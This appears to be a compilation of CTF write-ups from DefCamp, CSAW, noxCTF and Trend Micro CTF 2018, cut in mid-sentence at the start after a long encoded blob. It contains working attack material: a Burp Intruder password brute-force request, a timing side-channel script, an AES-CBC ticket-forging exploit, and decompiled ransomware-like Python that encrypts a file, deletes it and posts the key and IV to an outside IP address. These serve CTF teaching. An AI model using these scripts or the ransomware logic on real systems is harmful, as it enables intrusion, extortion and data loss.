ZTgwOGYxM2I0ODljMjY2NmM3ZmEyNDk3MmYwOTE2NjM0OWMxMTdhMDZjMjM5ZmVlMDlmOTY5MDlhOTE4CjBlY2Q3Y2Q0ZDY2NTZjZWEzNTY1MGQ4NjFiNzIyYTM3ZjQwMmIzYjZiOGRkMWVlYjNiOTQ3MWQ5YjcxMQplNWRhMDI5YzczNzQ4NTZmYThmZjFjN2ZhNjJiZjIzMDJiMjZlZGQ2OWNhNDIxZmZmYjEwZGYwOWU3MWYKNjE1ZjBlYTk2MTQwOWE2ODFjNGM5NWMxODA1NmZkZGY4Njg4MTVkMWI1MDA3MzVmYjg5ZjViZTIzYTE1Cjc4NTZmYmQ3N2E0YWRkNjFlZWYyNDM0Y2JkYzkyMjY4M2EzZjQyNDc3OThlZTNjNWFlZmQ1ZTYxYWRjYgo5NDdhMGJiNTAzNDRhZTc4ZjU1OGJhOWFmYzg5MGJiMWFkMDUzM2RjNDQ2ZjlkOWQ0ZWQ1MDczZTliMzMKNDc1ODQzMzc0ODRkNDYxYzNlMGIzZTNmMDcyNTBlMjU3NDQ1NjgwYjJhNTU0NjM4NzMxZTBiMTUxODVkCjU0MjQ0ODJlMDEyMDZjMTA3OTAxNmI3NjdiNzc2NDAzMDMzMjFkNjA0MTRjMTUwMjUxMDk0OTBlNDU2MAoxODBlMTA3NDAzMWEwNzJjMTQ0MTAwM2ExYTIyMGE1YjY1NTQ2ZTBiNzUxNzdlMTI2MDcwNGU0OTM0NDcKNDgzMzQ4MzM1NTZmNzAwMjc2NzQzMzUwMWMwYjVkMDcxMzNlNWMxZTEyMTQxYTFlNDExOTU4MDk0NTY2CjA5NmUxMDdkMDQwODA4Mzc1YjAwMjQ3YjU0N2I0NDAwMDM1NTc4MWE3ZDE3MWMxMjFkMDIxNTA0N2IxZAo2YTIyNDIyMzI2MzYzODUxNzk2YTZiMGIwYjFjNmY0NjQ4MGYxOTVhNWExNDFhMTAxYzU4MGU1YjI3NzYKMDY3NTVkMjI1ZDRkNjQ1MTFiMjczZDNhMGYyMjJkMGYxODQ1NjYxNTY1MTg3ODRiM2Y0NzBiMTUwYjUzCjVkMzUwZDdlNGI1OTI5NGMzZDVlMjk0ZTUxNmEwOTU2NDczNDFlNDgyNDA4MDk3OTVlN2YwMDUyMTEzMwo1YjFjMWYwNTU2NDk1MzE0NzAwYjMzMzQwYzIyNDQwMDA5MDAzNjRjMzE1ZjBjMDA3YjEzMGIwNDY1MzgKNDkyNDVmMjUxNDNlNDY1YWM1OWNkYWY5MTE1YzE4NmFlMmI0ODczNjk3MjI1MzZlYjg1N2JiMzBlZGI2Cjg1ZDI2ZTY4M2YzN2U3ZWUzMTBmNTU4YzlmNDAyYjUwMzE4MzFlZGYwNzc1OGFmYjA4NTg1MWUwNGE1MApmZTcwZDU4NDI0YmFiZDM2ODc3MjZhMGEwMTk5ZDA1ZjViMDdhYzM5YzYxZTZmYzQxY2QyYjk5OWUwMWMKZjUyMzk4NTZkZDRiN2Y2ZWFjZTA0ZjRiNzk3MWMzMGI5YjZmNTA5NmI5MzM5NWEwYzI1YTQxZGU1NTgzCjhlNzEwNmY1OGEyMTJlZmQxN2Y1ZmZlNjhhZTExODg3MjllNmYwZjg5ODY3MmMxMDQ3MDNmYmZiZDFmMgo4YzVkMTcwODA2N2I4OWNmZDRjZjQ1YWI1OGEyZDRmMTI2Mjc0YjRlYTlhZDczYTk2NmJkYzFiM2Q4MWEKZDRjMWIyYThlNzBhNWZmMGMwZGNmMTg5ZTEwMzliNGRhZGY0OWQxNGQxOTIzYzNlZjI1NTE4YjNjYjRmCmI4NDdkYzBjODdiNjlkMGZmZDlhMDc5NmUwODk5NTI3MTg5NjVlMzE5NmRiODFjNGJmNDg5YWM5ODZhNQo1NGE5YjhkZmYwNTgzNmYxM2M1ZjJmNTcyZjJhNGMwNzBhNTExOTRjNGE1YjU3MzM3YjBhNDkwZTQ1MzkKNGI1NjNhN2YwNjA4MDgzMjViMDAyNDNlMDYzMzE3MGY3MTQ1NjgwYjE3MTcwMzdmMmE0NjQyNWIxOTVkCjQyNzA3NjYwNDU3MzdjMDI2ZjAwNzkwNDZjNjExYjQ2M2E3YjUzNzI0ZjQ2NTAzNzA1MTk1ODA4NDU2NgowOTZlMTA2YzY4NGQ1NDFlNDExYzMzM2UxYjY3NTgxMzY1NGExZDUzMzE3MDdmNDYyZTU2NGUxYTY3MGUKMWE3ZjZhNzA1NTYyN2IwMjY5MTExOTA0NjU2NjA5NDkyMTM0MTI1NjBlMDgwOTc5NWU3ZjU5MWU1NDZlCjA5MGMxMDExMWExNjE5NTExYjNlMjIzNDBiMTQwMTViMzY0NTAzMGI2YTY3Njg3NDZmMGQ3ZjVmMjM0NgoxYTdmNjQyZDE0MzQyOTYwNzkxZTAyNDkzYTNmNGMyNTQ3NzQzNTRmNGY1MzUwMTA1MTY0NDkwMDViNzYKMDY2ODQ5MzM1ZjA4MDgyMTU1MDkzNTdiNTY3OTZlNGEyYjAxMzc0OTJmM2QxODEyN2YwMjQ0NTgzMTM4CjA2NmMwZDZmMzMzYTIwNTYzYzQzNmIwYjFkMzQ0ODEyMDIxZjE5NDE0MTUwNTA3OTVlNzUwYzUwMDIyMgo0MTFjMDI3MTAzMDgxOTRmM2UxZDI0MjkwZDI2MDkyNTNkZjlmNWJhOTQ1ZDZlMDM0M2E0YzRjMTRmOGIKMjQyODYxOTJlNmU1NGI0NmI5NzVmNjcyNTE2NmU5NTA2ODU3NWE2ZWYxMmJjM2VlYTRkMGE0ZWU2ZTVmCjQwZWViZmI3ZDU2NzBjYjViY2U3MzBkMmViOTU5Zjk4YmUxNGRkMmY5NDNkYTJhZDIxZDU2OTNkOGIxYwo2MGNkNDAzNTU3YzViNjEwNzc2NTI5OWZmZDhlMzUyMTUwMDY0ZmFmMDk5YzlkMTk1NTcwNDk1ZjZlMTMKNDBjMzJmYTc3MDk0YTNhNWZjNjgyMWIwMmI3ZGQxODgxY2Q0NjcwMDhmOWVlZTEzM2Y0MTg5ZThmM2Y3CmE0OTRkNzA2N2UwM2QzYWUyM2Q3NjBjMTMxNTk5ZWQzNjFlY2MxNDcxOTY5NTQxYjYyNWMwMTYzM2FjMAowMGZmYWQyMTlkZjYyYzk0M2JmNDYxMDAwYzkxNjUxYWU0NGJjOTAwYTEyYmQ3NzdhNjdkMDI0NWUyNTcKODRmMzg0NWNkNDNhYmNmNTZkYzRlNzVkOTJiMDM2YjU2ZTQ3YzcwNjU2ZDc2ZWU4MTlhZWFhZGI1ZTI4CjI4NDgxYTJkOGU0ZDQ5MTU0NzFhMjIzZTA5MmE2ZTRhMmIwMTM3NDkyZjNkMTkxMjdmMDI0NDU4MzEzOAowNjZjMGQ2ZjIxMmEzYzQ3NzkxZTEzNzYzZTNlMDk0OTJiM2UxMjQ1NWE1YzE1NmE0MDE5NDY3ODBjM2EKNWQ1OTQyNjMxNTZlNGIxMDQwMGIxNDNlMGIyODAwNGE2NTRhMWM0ZTI2NTg0ODU3MWY0MzU5NTcyODEyCjA2NmMwZDZmMzYzYzIwNTczNDVmMzgwNDZmNzgwNjM2MTUzZTE4NGI0ZDQwNWEyYjUxMDg1YjFlNWI2OAowOTEzNjc2MzYxMDgxNjUxMDY0ZTYxN2IzNTY3NGI3YzJjMWYzZDBiNzMxNzAzN2IwYjAyNzAwNjZmMGIKNWY2MzFjMjY0NjM3N2MxNzZkNTc3ZDQxNjgzYTRkMDI1MjNmMWYxNTE4MDUwYzNiMTQwZjVlNTgwNzZmCjE3MDAwNDdhNWYxYjE2MTcwNzBhNjA2ZTVjMjE1MjRhNzYwNzNjNGY3MDUzNGYwNTc5MTMxMjU4M2UwNAowZDM2NGY3OTRiMGU2YzFjNjczYjM4NTAyOTNkNDgwYjZkMjNlMDQxNGMzNDM3N2YzN2FjMzYzMjI5NWEKYTVkYmIxNDdhOTJkYjcxMTM0ZGY0ODJlNzA0NzU0NjA0NjU3NTI0ZTJiNTM1ZjQ2M2Q0NzRhNTc1MTU3CjU0MzQ0MjIyMWY1OTZjMDI3OTExNmIwNDdiNzgwOTQ2NDc3YjVjMDIwZTE0MTU3OTUxMTk2MzRkMTEzNwo1YjQ4NDgzMTVmNGUyZDQzMDU1ODVhN2U0ZDAyMmI2OTRm) to make it easier to visualize. From there, we look to see if there is any plaintext which is spelled incorrectly. A couple lines into the file, we find:```<< /Ty.e /XRef jLengt! 50 /Filter /FlateDecode /DecodePa ms << /Co.umns 4 /.redic=or 12 >>```There are a couple obvious misspelled words like `Ty.e`, `Lengt!`, `Co.umns`, `.redic=or`, which should be `Type`, `Length`, `Columns`, and `Predictor`. Next we find the indexes of the misspelled characters with their corresponding characters in the key and switch it out with the correct character. We can easily find the correct character by XORing the corresponding byte in the original file with the letter it should be. A few mins later and we get:```:P-@uSL"Y1K$[X)fg[|".45Yq9i>eV)<0C:('q4nP[hGd/EeX+E7,2O"+:[2```We then export the file by clicking on the `Save` button, and we get [flag.pdf](flag.pdf).
***Flag: `DCTF{d915b5e076215c3efb92e5844ac20d0620d19b15d427e207fae6a3b894f91333}`*** |
**Description**
> Are you a real math wiz?> > `nc misc.chal.csaw.io 9002`
**No files provided**
**Solution**
After conecting we are presented with some simple math problems:
____ __ _ _ ___ ___ / ___|__ _ _ __ _ _ ___ _ _ / _(_)_ __ __| | __ __ |__ \__ \ | | / _` | '_ \ | | | |/ _ \| | | | | |_| | '_ \ / _` | \ \/ / / / / / | |__| (_| | | | | | |_| | (_) | |_| | | _| | | | | (_| | > < |_| |_| \____\__,_|_| |_| \__, |\___/ \__,_| |_| |_|_| |_|\__,_| /_/\_\ (_) (_) |___/ ********************************************************************************** 18 - X = 121 What does X equal?: -103 YAAAAAY keep going 14 * X = 64 What does X equal?: 64/14 HEYYYY THAT IS NOT VALID INPUT REMEMBER WE ONLY ACCEPT DECIMALS!
At some point the problems become a bit lengthier:
... YAAAAAY keep going ((((1 - 5) + (X - 15)) * ((18 + 2) + (11 + 3))) - (((4 + 8) * (3 * 3)) * ((2 * 5) * (13 - 9)))) - ((((8 - 14) - (11 - 6)) - ((14 + 12) + (13 * 15))) - (((9 - 1) - (3 * 9)) * ((5 * 4) * (19 + 4)))) = -13338
And at some point later still, the intermediate results cross the overflow limits for both 32-bit and 64-bit integers. So Python with its native bigints seemed like a natural choice for the solver.
Performance was not particularly important for this challenge, since it seemed the server would wait 20 seconds before timing out on any given problem. Additionally, the equation always had one occurrence of `X`, always had a single integer on the right-hand side, and the operations on the left-hand side were grouped into parentheses properly and only included `+`, `-`, and `*`.
So my approach was to have a couple of simple regular expressions to match a bracketed operation with specific integers and replace that (in the equation string) with the result, then repeat as long as needed. Also, some of the problems had non-integer solutions. The default precision of Python seemed good enough, but I was worried about inaccuracy build-up if I used floats, so instead I kept the result as a fraction of two integers until the very end when it was submitted to the server.
([Full Python script here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/scripts/algebra.py))
`flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}` |
# DefCamp CTF 2018: PasswordPolicy***Category: Web***>*Can you guess this extreme password?*>>*Target: https://password-policy.dctfq18.def.camp/*## SolutionFor this challenge, we are given a website, [https://password-policy.dctfq18.def.camp/](https://password-policy.dctfq18.def.camp/).
We begin by going to the website and check the page's source code, where we find this:``` $('form').submit(function(e) { if($('input[name="pass"]').val().length < 1337) { alert('Minimum length for password is 1337 characters.'); e.preventDefault(); return false; } });```When you click on the `Login` button, it calls this script to check if the password is at least 1337 characters long. However, we can circumvent this check by passing the request through `BurpSuite` instead of having to click the button. First, we have to find out what a normal request should look like so we send a string of 1337 `0`s through the browser and watch the request in `BurpSuite`. We see the request looks like this:```POST / HTTP/1.1Host: password-policy.dctfq18.def.campUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://password-policy.dctfq18.def.camp/Cookie: __cfduid=dba03a754594671cc15e0683ec5c180301537682722; _ga=GA1.2.1717138297.1537682724; _gid=GA1.2.1786104063.1537682724Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 1380
user=admin%40leftover.dctf&pass=00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&btn-login=```Next, we send the request to Intruder in `BurpSuite` and set the payload to some common [passwords](list.txt). We edit it to only change the password field and start the attack. A couple seconds later, we find the flag in the response for the password `password`.
***Flag: `DCTF{db95ace20ae3972f87d758a3724142ae93735c442a8482f9717fe4a9bb94d337}`*** |
# DefCamp CTF 2018: RobotsVSHumans***Category: web***>*Find your flag on this website.*>>*Target: https://robots-vs-humans.dctfq18.def.camp/*## SolutionFor this challenge, we are given a website with a flag hidden somewhere in it.
Based on the name of the challenge, I immediately think of checking [robots.txt](robots.txt). Unfortunately, we only get this:```Did you know that robots.txt is not the only .txt file in a website? BTW: I am against humans!```However, it does give us a hint. This, combined with the title of the challenge, `RobotsVSHumans`, makes me think to check [humans.txt](humans.txt). From there, we get:``` /* TEAM */
Your title: RobotsVSHumans
Location: Bcharest, Romania
/* THANKS */
Name: DCTF{1091d2144edbffaf5dd265cb7c93e799c4659eb16ee79735b3bd6e09dd6e791f}```
***Flag: `DCTF{1091d2144edbffaf5dd265cb7c93e799c4659eb16ee79735b3bd6e09dd6e791f}`*** |
# DefCamp CTF 2018: Voices***Category: Misc***>*Listen. Can you hear the voices? They are there. Somehow.*## SolutionFor this challenge, we are given an an audio file, [voices.wav](voices.wav).
I begin by opening the file in Audacity, but it seems to be just static. Nothing much we can do with that. So next we check the spectrogram. At first glance, there seems to be nothing there either. However, if we zoom out on the frequency range, we start to see some strange patterns.Upon further inspection, the strange patterns seem to be two sets of binary strings. I make a few quick adjustments to help make it easier to read:And now for the fun part: transcribing the binary strings. Fast forward about 15 minutes and we get:```11111110 11111110 10001010 10111010 10011011 10011011 10101011 10111011 10111010 10101011 10101010 10101010 10111010 10101010 10111011 10111010 10111001 10111011 10111011 10111010 10101010 10011011 10101010 10101011 10111011 10111010 10101010 10101010 10111011 10111011 10111011 10111010 10101011 10101010 1010100101010110 00010101 00100110 10111001 10110110 10110100 10001010 10111001 10010111 10001000 10110111 10001010 10111000 01110111 01000100 01011000 01001010 10010100 10000100 10011011 10010101 10111011 01011010 10001000 10100101 01010111 10111011 10010101 01001010 01010101 10001000 01000110 01111011 01010111 01010000```I thought it was strange that it gave us two sets of binary rather than one long string, so I started thinking of ways we could use both sets of binary together. I knew we were getting close because if flag is in the standard flag format of `DCTF{sha256digest}`, the flag had to be 70 bytes long, and the two strings were a total of 560 bits, or 70 bytes. I also knew the first five bytes would be `01000100 01000011 01010100 01000110 01111011`, which is the binary representation of `DCTF{`. So we start looking for ways to make `01000011` with `11111110` and `01010110`. A couple hundred attempts later, we find this:```python>>> ''.join([''.join(x) for x in zip('11111110','01010110')])'1011101110111100'```If we zip `11111110` and `01010110`, we get `1011101110111100`. Why does this matter? `DC` in binary is `0100010001000011`! The flag is the two binary strings zipped together and XORed with 255! So we write a quick script to decode the rest:```pythonstr1 = '1111111011111110100010101011101010011011100110111010101110111011101110101010101110101010101010101011101010101010101110111011101010111001101110111011101110111010101010101001101110101010101010111011101110111010101010101010101010111011101110111011101110111010101010111010101010101001'str2 = '0101011000010101001001101011100110110110101101001000101010111001100101111000100010110111100010101011100001110111010001000101100001001010100101001000010010011011100101011011101101011010100010001010010101010111101110111001010101001010010101011000100001000110011110110101011101010000'
flag = ''flip = lambda x: '0' if x == '1' else '1'for a,b in zip(str1,str2): flag += flip(a) + flip(b)
print format(int(flag, 2), 'x').decode('hex')```And out comes the flag.
***Flag: `DCTF{c068a8e71044b752b7307bbeed7e94e5e426f80f3751ddb226fe1dd55ecb0fbf}`*** |
# RobotsVSHumans### (Junior - 1pts)> Find you flag on this website..
> Target: [https://robots-vs-humans.dctfq18.def.camp/](RobotsVSHumans.html)------When the link is opened it seems like a regular link nothing suspicious
But, the title of challenge was clearly indicating to look for robots.txt
On looking at that we [get](robots.txt)
Now, the question came up what other .txt files are generally available or what other response could be after modifying user-agent
After lots of fruitless strokes, it struck could there be file for humans like it's for robots
And, there it was with [flag](humans.txt)
------Flag: DCTF{1091d2144edbffaf5dd265cb7c93e799c4659eb16ee79735b3bd6e09dd6e791f} |
# Passport### (Junior - 1pts) > Provide a valid passport file inorder to pass.> Target: [http://passport.dctfq18.def.camp/](Upload%20your%20Passport.html)------When you visit the site you see a hyperlink for a demo file
And, an upload form for a file
When you pass demo itself it says:```This is demo Passport! You have to find its evil twin.```When you send any arbitary file:```Your Passport is invalid. Our MD5SUM detected a false document.```Now, it is clear that they check first whether the MD5SUM is equal to demo file```cee9a457e790cf20d4bdaa6d69f01e41```On searching the internet came across a [link](https://crypto.stackexchange.com/a/15889)
On verification it is evident that following strings have same md5 hashes```0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef```Thus, one of them has to be demo; which it even is
After uploading the other one as a file we receive the flag
------DCTF{04c8d0052e3ffd8d21934e392c272a0494f23433901941c93fab82b50be27c1a} |
## Solution
### Quick Explanation
This is a [__Padding Oracle Attack__](https://en.wikipedia.org/wiki/Padding_oracle_attack) and we use mwielgoszewski's [paddingoracle.py](https://github.com/mwielgoszewski/python-paddingoracle) to get the key.
### Fuil Explanation
I have omitted the parts of `server.py` that are not really necessary.
```python...
class ThreadedServer(object): def listenToClient(self, client, address): ciphertext = client.recv(length) plaintext = self.decrypt(ciphertext) if self.check_pad(plaintext): client.send('1') else: client.send('0')```
This is pretty easy to figure out since the only information we get is whether or not `check_pad` of the __plaintext__ returns `true` or `false`.
If you are not familiar then a search of `aes padding attack` will eventually lead you to __padding oracle attack__.
Fortunately, as mentioned above, we found existing python code to help us as well as a [writeup](https://eugenekolo.com/blog/csaw-qual-ctf-2016/) from a previous CTF on this attack that confirms
`noxCTF{0n3_p4d_2_f4r}`
__For the implementation see the link__ |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
